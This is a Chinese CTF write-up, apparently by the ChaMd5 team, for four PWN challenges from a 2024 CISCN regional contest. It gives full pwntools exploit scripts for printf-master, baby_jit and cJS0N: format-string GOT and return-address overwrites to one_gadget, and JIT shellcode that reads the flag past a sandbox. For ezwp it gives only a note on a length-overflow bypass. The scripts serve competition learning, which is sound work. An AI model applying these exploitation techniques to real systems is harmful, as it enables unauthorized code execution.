长亭百川云 - 文章详情

2024CISCN 华东南分区赛(AWDP)PWN题全WP

ChaMd5安全团队

85

2024-07-13

招新小广告运营组招收运营人员、CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱

admin@chamd5.org(带上简历和想加入的小组

printf-master-attachment

先是init初始化了一些参数

后gift函数给了2位的地址

点击并拖拽以移动

在func中有一个fmt漏洞

点击并拖拽以移动

思路就是利用fmt造成无限循环,因为没用开got表保护,可以篡改got表然后执行execve

fmt是非栈上的,就需要利用跳板篡改,还禁用了$,利用堆叠占位符就能解决。

在非栈上格式化,利用跳板肯定需要知道栈地址,所以第一步gift需要泄露栈地址

img

因为开了pie,现在手上没有其他地址,需要边泄露地址边劫持返回地址

这里存在三级跳板,P1用来修改地址到printf的返回地址,P2用来修改返回地址

printf返回地址篡改为start需要爆破1/16

img

start地址为0x11b0

爆破成功篡改返回地址为start

img

P1改栈为printf返回地址的栈指针,P2修改返回地址

img

然后会执行start后再次有fmt漏洞,但是之前篡改的时候可以泄露地址,就有了所有的基地址

就可以修改exit_got为start,造成无限循环利用fmt

修改exit_got也是利用跳板,但是需要地址为elf的跳板,这样修改低位就能直接指向got表

img

img

指向got表之后,下一个地址就可以修改got表中的地址

最后利用跳板修改stack_chk_fail_got为one_gadget,然后修改exit_got为stack_chk_fail_plt完成调用

exp

from pwn import * from LibcSearcher import* from ctypes import * FILENAME='../pwn5' libc=ELF('../libc-2.31.so') context.arch='amd64' def pwn():     p.sendline(b'1')     p.recvuntil(b'0x')     add=int(p.recv(4),16)     success('add '+hex(add))          p.recvuntil(b'name?')     p1='$17'#$18     p2='$45'     num=add-2*15-0x86-0x18     stat_lox=0x11B0          of=(0x10000-num)+stat_lox-0x1B3#aa98     success('of '+hex(of))     payload=f'%p'*(15)+f'%{num}c%hn'+'%p'*(45-17-1-1)+f'%{of}c%hn'     p.sendline(payload)     for i in range(7):         p.recvuntil(b'0x')     p.recvuntil(b'0x')     heap_add=int(p.recv(6*2),16)     heapbase=heap_add-0x3b0          p.recvuntil(b'0x')     p.recvuntil(b'0x')     stack_add=int(p.recv(6*2),16)          p.recvuntil(b'0x')     elf_add=int(p.recv(6*2),16)     elfbase=elf_add-0x6bd-0x1000     p.recvuntil(b'nil')     p.recvuntil(b'0x')     libc_add=int(p.recv(6*2),16)     libcbase=libc_add-libc.sym['__libc_start_main']-243          p.recvuntil(b'what',timeout=2)     return heapbase,stack_add,libcbase,add,elfbase      for i in range(16):     try:         p= process(FILENAME)                  heapbase,stack_add,libcbase,add,elfbase=pwn()         success('libcbase '+hex(libcbase))         success('stack_add '+hex(stack_add))         success('heapbase '+hex(heapbase))         success('elfbase '+hex(elfbase))         one_gadget=[0xe3afe,0xe3b01,0xe3b04]         execve=libcbase+one_gadget[1]         success('execve '+hex(execve))                  p0='$29'#17         p1='$58'#34         target=(elfbase+0x4020)&0xffff         target2=((elfbase+0x11B0)&0xffff)+(0x10000-target)         print(hex(target),hex(target2))         payload=f'%p'*(29-2)+f'%{target-0x142}c%hn'         payload+='%p'*(58-29-2)+f'%{target2-0x129}c%hn'         p.sendline(payload)                           p.recvuntil(b'what',timeout=2)                  system_add=libcbase+libc.sym['system']         p0='$29'#17         p1='$64'#3a         stack_chk_fail_got=elfbase+0x4030         target=(stack_chk_fail_got)&0xffff         target2=(execve)&0xffff         print("stack_chk_fail_got_1",hex(target2))         if(target2<target):target2=target2+(0x10000-target-361)         else: target2=target2-target-361         print("stack_chk_fail_got_1",hex(target),hex(target2))         payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'         payload+='%p'*(64-29-2)+f'%{target2}c%hn'         p.sendline(payload)                            p.recvuntil(b'what',timeout=2)         p0='$29'#17         p1='$64'#3a         target=(stack_chk_fail_got+2)&0xffff         target2=((execve>>(8*2)))&0xffff         print("stack_chk_fail_got_2",hex(target2))                  if(target2<target):target2=target2+(0x10000-target-361-0x19)         else: target2=target2-target-361-0x19         print("stack_chk_fail_got_2",hex(target),hex(target2))         payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'         payload+='%p'*(64-29-2)+f'%{target2}c%hn'         p.sendline(payload)                   p.recvuntil(b'what',timeout=2)                  p0='$29'#17         p1='$64'#3a         target=(stack_chk_fail_got+4)&0xffff         target2=((execve>>(8*4)))&0xffff         print("stack_chk_fail_got_3",hex(target2))                  if(target2<target):target2=target2+(0x10000-target-361-0x19)         else: target2=target2-target-361-0x19         print("stack_chk_fail_got_3",hex(target),hex(target2))         payload=f'%p'*(29-2)+f'%{target-0x155}c%hn'         payload+='%p'*(64-29-2)+f'%{target2}c%hn'         p.sendline(payload)           p.recvuntil(b'what',timeout=2)                  p0='$29'#17         p1='$64'#3a         target=(elfbase+0x4020)&0xffff         target2=(elfbase+0x1130)&0xffff         print("exit_got",hex(target2))                  if(target2<(target+361+0x19)):target2=target2+(0x10000-target-361-0x19)         else: target2=target2-target-361-0x19         print("exit_got",hex(target),hex(target2))         payload=f'%p'*(29-2)+f'%{target-0x155+1}c%hn'         payload+='%p'*(64-29-2)+f'%{target2}c%hn'         p.sendline(payload)           p.interactive()     except:         p.close()

点击并拖拽以移动

baby_jit

开了一个禁用59(execve)的沙盒

image-20240625230042691

程序就两个功能一个add一个exec

image-20240625230100773

add函数,申请了chunk_s来存储输入的内容(0x30)没溢出,然后申请dest存储限制长度后的数据

exec函数中ptr+(n)都是指针位移用来汇编写入的正确性,*(ptr+n)直接赋值机器码用来功能的计算,在后面有一个call mmap空间,这个偏移是自己可控的,就偏移打到自己输入的数据中,控制数据执行正确的汇编即可,先执行read然后再读入flag

image-20240625230133731

img

exp

from pwn import * from LibcSearcher import* from ctypes import * FILENAME='../baby_jit' p= process(FILENAME) context.arch='amd64' def Add(context):     p.recvuntil(b'>>')     p.sendline(b'1')     p.sendline(context) def Exec(context):     p.recvuntil(b'>>')     p.sendline(b'2')     p.recvuntil(b'offset')     p.sendline(context) sh=''' nop push   rax pop    rdi push   rdx pop    rsi syscall ''' calc_sh= str(u64(asm(sh).ljust(8,b'\x00'))) Add(f'add {calc_sh}') Exec(b'0.3') sleep(1) p.sendline(b'\x90'*(0x20)+asm(shellcraft.cat('flag'))) p.interactive()

点击并拖拽以移动

cJS0N

在del功能中存在fmt漏洞

image-20240625230255592

image-20240625230316485

image-20240625230324812

在输入data name的时候控制字符串,并且是存在栈上的,直接利用fmt修改返回地址为one_gadget,然后退出触发

exp

from pwn import * FILENAME='../json' p= process(FILENAME) libc=ELF('../libc.so.6') context.arch='amd64' def show(name):     p.recvuntil(b'>')     p.sendline(b'4')     p.recvuntil(b'name')     p.sendline(name) p.recvuntil(b'size') p.sendline(b'20') p.recvuntil(b'Json') p.sendline(b'21') show(b'%27$p%10$p') p.recvuntil(b'0x') libc_add=int(p.recv(6*2),16) libcbase=libc_add-libc.sym['__libc_start_main']-243 success('libcbase '+hex(libcbase)) one_gadget=[0xe3afe,0xe3b01,0xe3b04] execve=libcbase+one_gadget[1] success('execve '+hex(execve)) p.recvuntil(b'0x') stack_add=int(p.recv(6*2),16) success('stack_add '+hex(stack_add)) stack_add+=0x8 f=execve&0xffff payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hn' payload=payload.ljust(0x10,b'\x00') payload+=p64(stack_add) show(payload) f=(execve>>(2*8))&0xff print(hex(f)) payload=b'%'+bytes(str(f),'utf-8')+b'c%22$hhn' payload=payload.ljust(0x10,b'\x00') payload+=p64(stack_add+2) show(payload) p.recvuntil(b'>') p.sendline(b'2') p.recvuntil(b'name') p.sendline(b'dw') p.interactive()

点击并拖拽以移动

ezwp

打开页面发现了phpinfo界面,尝试搜索ctf发现,在环境变量中找到flag。

从myphp.so中发现可以直接输出flag,但是需要密钥正确,密钥长度32,限制长度24,需要绕过

image-20240625230357268

image-20240625230453918

len为单字节,使用单字节溢出就可以绕过

- END -

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2